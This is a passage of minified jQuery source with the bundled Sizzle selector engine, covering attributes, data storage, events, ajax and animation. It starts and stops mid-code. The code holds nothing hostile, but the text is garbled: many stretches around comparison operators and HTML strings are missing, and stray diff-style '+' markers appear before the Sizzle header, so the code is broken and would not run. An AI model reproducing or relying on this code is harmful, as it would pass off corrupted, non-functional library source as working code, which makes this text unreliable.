I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}}); +/* + * Sizzle CSS Selector Engine - v0.9.3 + * Copyright 2009, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * More information: http://sizzlejs.com/ + */ +(function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return UT[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V";var T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="

    ";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="
    ";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0){I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("
    ").append(M.responseText.replace(//g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function(){G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var 